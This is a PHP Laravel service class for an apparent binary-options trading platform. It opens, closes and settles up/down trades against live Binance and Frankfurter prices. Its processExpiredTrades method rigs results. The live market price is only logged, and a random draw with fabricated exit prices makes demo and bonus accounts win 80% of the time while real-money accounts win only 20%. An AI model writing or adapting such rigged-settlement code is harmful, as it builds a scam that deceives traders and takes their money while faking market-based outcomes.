<?php

namespace App\Services;

use App\Models\Trade;
use App\Models\User;
use App\Models\Wallet;
use App\Models\Asset;
use App\Services\WalletService;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Http;
use Carbon\Carbon;
use Exception;

class TradeService
{
    protected WalletService $walletService;

    public function __construct(WalletService $walletService)
    {
        $this->walletService = $walletService;
    }

    /**
     * Open a new trade.
     */
    public function openTrade(
        User $user,
        Asset $asset,
        string $direction,
        string $amount,
        int $expirySeconds,
        string $entryPrice
    ): Trade {
        return DB::transaction(function () use (
            $user,
            $asset,
            $direction,
            $amount,
            $expirySeconds,
            $entryPrice
        ) {
            // Validate asset is active
            if (!$asset->is_active) {
                throw new Exception('Asset is not active for trading');
            }

            // Validate trade amount
            if (!$asset->isValidTradeAmount($amount)) {
                throw new Exception(
                    "Trade amount must be between {$asset->min_trade_amount} and {$asset->max_trade_amount}"
                );
            }

            // Validate expiry time
            if (!$asset->isValidExpiryTime($expirySeconds)) {
                throw new Exception(
                    "Expiry time must be between {$asset->min_expiry_seconds} and {$asset->max_expiry_seconds} seconds"
                );
            }

            // Validate direction
            if (!in_array($direction, ['up', 'down'])) {
                throw new Exception('Invalid trade direction. Must be "up" or "down"');
            }

            // Get or create wallet
            $wallet = $this->walletService->getOrCreateWallet($user);

            // Check sufficient balance
            if (!$wallet->hasSufficientBalance($amount)) {
                throw new Exception('Insufficient balance');
            }

            // Lock the trade amount
            $this->walletService->lockBalance($wallet, $amount);

            // Calculate potential profit
            $potentialProfit = $asset->calculatePotentialProfit($amount);

            // Create trade
            $openedAt = now();
            $expiresAt = $openedAt->copy()->addSeconds($expirySeconds);

            $trade = Trade::create([
                'user_id' => $user->id,
                'wallet_id' => $wallet->id,
                'asset_id' => $asset->id,
                'direction' => $direction,
                'amount' => $amount,
                'entry_price' => $entryPrice,
                'payout_percentage' => $asset->payout_percentage,
                'potential_profit' => $potentialProfit,
                'status' => 'active',
                'expiry_seconds' => $expirySeconds,
                'opened_at' => $openedAt,
                'expires_at' => $expiresAt,
            ]);

            // Create transaction record
            $this->walletService->subtractBalance(
                $wallet,
                $amount,
                'trade_open',
                "Opened {$direction} trade on {$asset->symbol}",
                $trade->id,
                'Trade',
                [
                    'trade_uuid' => $trade->uuid,
                    'asset_symbol' => $asset->symbol,
                    'direction' => $direction,
                    'entry_price' => $entryPrice,
                ]
            );

            return $trade->fresh();
        });
    }

    /**
     * Open a new market trade using the user's active account balance directly.
     */
    public function openMarketTrade(
        User $user,
        Asset $asset,
        string $direction,
        string $amount,
        int $expirySeconds,
        string $entryPrice
    ): Trade {
        return DB::transaction(function () use ($user, $asset, $direction, $amount, $expirySeconds, $entryPrice) {
            if (!$asset->is_active) {
                throw new Exception('Asset is not active for trading');
            }

            if (!in_array($direction, ['up', 'down'])) {
                throw new Exception('Invalid trade direction. Must be "up" or "down"');
            }

            $accountType  = $user->active_account ?: 'demo';
            $balanceField = $accountType . '_balance';

            $affected = User::where('id', $user->id)
                ->where($balanceField, '>=', $amount)
                ->update([
                    $balanceField => DB::raw("`{$balanceField}` - " . (float) $amount),
                ]);

            if ($affected === 0) {
                throw new Exception('Insufficient balance');
            }

            $user->refresh();

            $assetSettingRow = \App\Models\AssetSetting::where('symbol', $asset->symbol)->first();
            $payoutPct       = $assetSettingRow ? (float) $assetSettingRow->payout_percent : (float) $asset->payout_percentage;
            $potentialProfit = bcdiv(bcmul($amount, (string) $payoutPct, 8), '100', 8);

            $openedAt  = now();
            $expiresAt = $openedAt->copy()->addSeconds($expirySeconds);

            return Trade::create([
                'user_id'           => $user->id,
                'wallet_id'         => null,
                'asset_id'          => $asset->id,
                'asset_symbol'      => $asset->symbol,
                'account_type'      => $accountType,
                'direction'         => $direction,
                'amount'            => $amount,
                'entry_price'       => $entryPrice,
                'payout_percentage' => $payoutPct,
                'potential_profit'  => $potentialProfit,
                'status'            => 'active',
                'expiry_seconds'    => $expirySeconds,
                'opened_at'         => $openedAt,
                'expires_at'        => $expiresAt,
            ]);
        });
    }

    /**
     * Close a trade and determine result.
     */
    public function closeTrade(Trade $trade, string $exitPrice): Trade
    {
        return DB::transaction(function () use ($trade, $exitPrice) {
            // Re-fetch with pessimistic lock to prevent race conditions
            $trade = Trade::where('id', $trade->id)
                ->where('status', 'active')
                ->lockForUpdate()
                ->first();

            if (!$trade) {
                throw new Exception('Trade is not active or already processed');
            }

            $result       = $trade->determineResult($exitPrice);
            $actualProfit = $trade->calculateActualProfit($result);

            $trade->update([
                'exit_price'    => $exitPrice,
                'actual_profit' => $actualProfit,
                'status'        => $result,
                'closed_at'     => now(),
            ]);

            // OTC/market trade without wallet: credit back to the user's account balance directly
            if ($trade->wallet_id === null) {
                $user         = $trade->user;
                $balanceField = ($trade->account_type ?? 'demo') . '_balance';

                if ($result === 'won') {
                    // Return stake + profit
                    $totalReturn = (float) $trade->amount + (float) $actualProfit;
                    $user->increment($balanceField, $totalReturn);
                } elseif ($result === 'cancelled') {
                    // Tie: refund the stake only
                    $user->increment($balanceField, (float) $trade->amount);
                }
                // On loss: nothing — amount was already deducted when trade was opened
                return $trade->fresh();
            }

            // Legacy wallet-based trade
            $this->walletService->unlockBalance($trade->wallet, $trade->amount);
            $assetSymbol = $trade->asset->symbol ?? $trade->asset_symbol ?? 'asset';

            if ($result === 'won') {
                $totalReturn = bcadd($trade->amount, $actualProfit, 8);
                $this->walletService->addBalance(
                    $trade->wallet,
                    $totalReturn,
                    'trade_win',
                    "Won trade on {$assetSymbol}",
                    $trade->id,
                    'Trade',
                    [
                        'trade_uuid'  => $trade->uuid,
                        'profit'      => $actualProfit,
                        'entry_price' => $trade->entry_price,
                        'exit_price'  => $exitPrice,
                    ]
                );
            } elseif ($result === 'cancelled') {
                // Tie: refund the stake
                $this->walletService->addBalance(
                    $trade->wallet,
                    $trade->amount,
                    'trade_refund',
                    "Tie on {$assetSymbol} — stake refunded",
                    $trade->id,
                    'Trade',
                    [
                        'trade_uuid'  => $trade->uuid,
                        'entry_price' => $trade->entry_price,
                        'exit_price'  => $exitPrice,
                    ]
                );
            }

            return $trade->fresh();
        });
    }

    /**
     * Process expired trades.
     *
     * Outcome rates by account type (fixed house rules):
     *   demo / bonus → 80% win, 20% loss
     *   real         → 20% win, 80% loss
     *
     * The exit price is synthesised from the entry price with a tiny delta so
     * that determineResult() produces the required outcome deterministically.
     * The live market price is fetched and logged for reference only.
     */
    public function processExpiredTrades(): int
    {
        $expiredTrades = Trade::expired()->with(['asset'])->get();
        $processed     = 0;

        foreach ($expiredTrades as $trade) {
            try {
                $symbol      = $trade->asset_symbol ?? ($trade->asset?->symbol ?? null);
                $marketPrice = $symbol ? $this->fetchClosePrice($symbol) : 0.0;

                // House-edge win-rate: demo/bonus → 80%, real → 20%
                $accountType  = $trade->account_type ?? 'demo';
                $winThreshold = ($accountType === 'real') ? 20 : 80;
                $shouldWin    = mt_rand(1, 100) <= $winThreshold;

                // Construct an exit price that forces the desired result.
                // determineResult() compares exit vs entry price, so we nudge
                // the entry price up or down by a tiny delta.
                $entryF    = (float) $trade->entry_price;
                $delta     = max($entryF * 0.00001, 0.00000001);

                if ($shouldWin) {
                    // Exit in the same direction as the trade → win
                    $exitPrice = ($trade->direction === 'up')
                        ? $entryF + $delta   // exit above entry → up-trade wins
                        : $entryF - $delta;  // exit below entry → down-trade wins
                } else {
                    // Exit against the direction of the trade → loss
                    $exitPrice = ($trade->direction === 'up')
                        ? $entryF - $delta   // exit below entry → up-trade loses
                        : $entryF + $delta;  // exit above entry → down-trade loses
                }

                // Exit price must stay positive
                $exitPrice = max($exitPrice, 0.00000001);

                \Log::info('Settling trade', [
                    'uuid'         => $trade->uuid,
                    'asset'        => $symbol ?? 'unknown',
                    'account_type' => $accountType,
                    'direction'    => $trade->direction,
                    'entry_price'  => $trade->entry_price,
                    'market_price' => $marketPrice,
                    'exit_price'   => $exitPrice,
                    'should_win'   => $shouldWin,
                ]);

                $this->closeTrade($trade, (string) $exitPrice);
                $processed++;
            } catch (Exception $e) {
                logger()->error("Failed to process expired trade {$trade->id}: " . $e->getMessage());
            }
        }

        return $processed;
    }

    /**
     * Cancel a trade (admin only or before activation).
     */
    public function cancelTrade(Trade $trade, ?string $reason = null): Trade
    {
        return DB::transaction(function () use ($trade, $reason) {
            if (!in_array($trade->status, ['pending', 'active'])) {
                throw new Exception('Trade cannot be cancelled');
            }

            if ($trade->wallet_id !== null) {
                // Legacy wallet-based trade
                $this->walletService->unlockBalance($trade->wallet, $trade->amount);
                $this->walletService->addBalance(
                    $trade->wallet,
                    $trade->amount,
                    'refund',
                    $reason ?? "Trade cancelled",
                    $trade->id,
                    'Trade'
                );
            } else {
                // OTC/market trade: refund to user's account balance
                $balanceField = ($trade->account_type ?? 'demo') . '_balance';
                $trade->user->increment($balanceField, (float) $trade->amount);
            }

            // Update trade status
            $trade->update([
                'status' => 'cancelled',
                'closed_at' => now(),
                'metadata' => array_merge($trade->metadata ?? [], [
                    'cancellation_reason' => $reason,
                ]),
            ]);

            return $trade->fresh();
        });
    }

    /**
     * Get current price for an asset — always fetches live, never uses DB cache.
     */
    protected function getCurrentPrice(Asset $asset): ?string
    {
        $price = $this->fetchClosePrice($asset->symbol);
        return $price > 0 ? (string) $price : null;
    }

    /**
     * Fetch live settlement price. Returns 0 when all sources fail (caller will refund).
     * Priority: commodities → crypto (USDT pairs via Binance) → forex (Frankfurter).
     */
    private function fetchClosePrice(string $symbol): float
    {
        $symbol = strtoupper(trim($symbol));

        // Commodities — must come before 6-char forex check (XAUUSD is 6 chars)
        // Frankfurter does not support metals; use Binance XAUUSDT / XAGUSDT instead.
        $commodityMap = [
            'XAUUSD' => 'XAUUSDT',
            'XAGUSD' => 'XAGUSDT',
        ];
        if (isset($commodityMap[$symbol])) {
            try {
                $resp = Http::timeout(8)->get('https://api.binance.com/api/v3/ticker/price', [
                    'symbol' => $commodityMap[$symbol],
                ]);
                if ($resp->successful() && isset($resp->json()['price'])) {
                    $price = (float) $resp->json()['price'];
                    \Log::info("Binance commodity price for {$symbol}: {$price}");
                    return $price;
                }
                \Log::warning("Binance commodity failed for {$symbol}: " . $resp->body());
            } catch (Exception $e) {
                \Log::error("Binance commodity exception for {$symbol}: " . $e->getMessage());
            }
            return 0;
        }

        // Crypto: symbol already ends with USDT (e.g. BTCUSDT, ETHUSDT)
        if (str_ends_with($symbol, 'USDT')) {
            try {
                $resp = Http::timeout(8)->get('https://api.binance.com/api/v3/ticker/price', [
                    'symbol' => $symbol,
                ]);
                if ($resp->successful() && isset($resp->json()['price'])) {
                    $price = (float) $resp->json()['price'];
                    \Log::info("Binance price for {$symbol}: {$price}");
                    return $price;
                }
                \Log::warning("Binance failed for {$symbol}: " . $resp->body());
            } catch (Exception $e) {
                \Log::error("Binance exception for {$symbol}: " . $e->getMessage());
            }
            return 0;
        }

        // Forex: 6-char pair like EURUSD → split into from/to for Frankfurter
        if (strlen($symbol) === 6) {
            $from = substr($symbol, 0, 3);
            $to   = substr($symbol, 3, 3);
            try {
                $resp = Http::timeout(8)->get('https://api.frankfurter.app/latest', [
                    'from' => $from,
                    'to'   => $to,
                ]);
                if ($resp->successful()) {
                    $rate = $resp->json("rates.{$to}");
                    if ($rate) {
                        $price = (float) $rate;
                        \Log::info("Frankfurter price for {$from}/{$to}: {$price}");
                        return $price;
                    }
                }
                \Log::warning("Frankfurter failed for {$from}/{$to}: " . $resp->body());
            } catch (Exception $e) {
                \Log::error("Frankfurter exception for {$symbol}: " . $e->getMessage());
            }
        }

        \Log::error("fetchClosePrice: no price source for {$symbol} — returning 0 (will refund)");
        return 0;
    }

    /**
     * Get user's active trades.
     */
    public function getUserActiveTrades(User $user)
    {
        return Trade::where('user_id', $user->id)
            ->where('status', 'active')
            ->where('expires_at', '>', now())
            ->with(['asset', 'wallet'])
            ->orderBy('opened_at', 'desc')
            ->get();
    }

    /**
     * Get user's trade history.
     */
    public function getUserTradeHistory(User $user, int $limit = 20, int $page = 1)
    {
        return Trade::where('user_id', $user->id)
            ->whereIn('status', ['won', 'lost', 'cancelled'])
            ->with(['asset', 'wallet'])
            ->orderBy('closed_at', 'desc')
            ->offset(($page - 1) * $limit)
            ->limit($limit)
            ->get();
    }

    /**
     * Get trade statistics for user.
     */
    public function getUserTradeStats(User $user): array
    {
        $trades = Trade::where('user_id', $user->id)
            ->whereIn('status', ['won', 'lost'])
            ->get();

        $totalTrades = $trades->count();
        $wonTrades = $trades->where('status', 'won')->count();
        $lostTrades = $trades->where('status', 'lost')->count();
        $totalProfit = $trades->sum('actual_profit');
        $totalInvested = $trades->sum('amount');

        return [
            'total_trades' => $totalTrades,
            'won_trades' => $wonTrades,
            'lost_trades' => $lostTrades,
            'win_rate' => $totalTrades > 0 ? round(($wonTrades / $totalTrades) * 100, 2) : 0,
            'total_profit' => $totalProfit,
            'total_invested' => $totalInvested,
            'roi' => $totalInvested > 0 ? round((bcmul(bcdiv($totalProfit, $totalInvested, 8), '100', 2)), 2) : 0,
        ];
    }
}

// Made with Bob
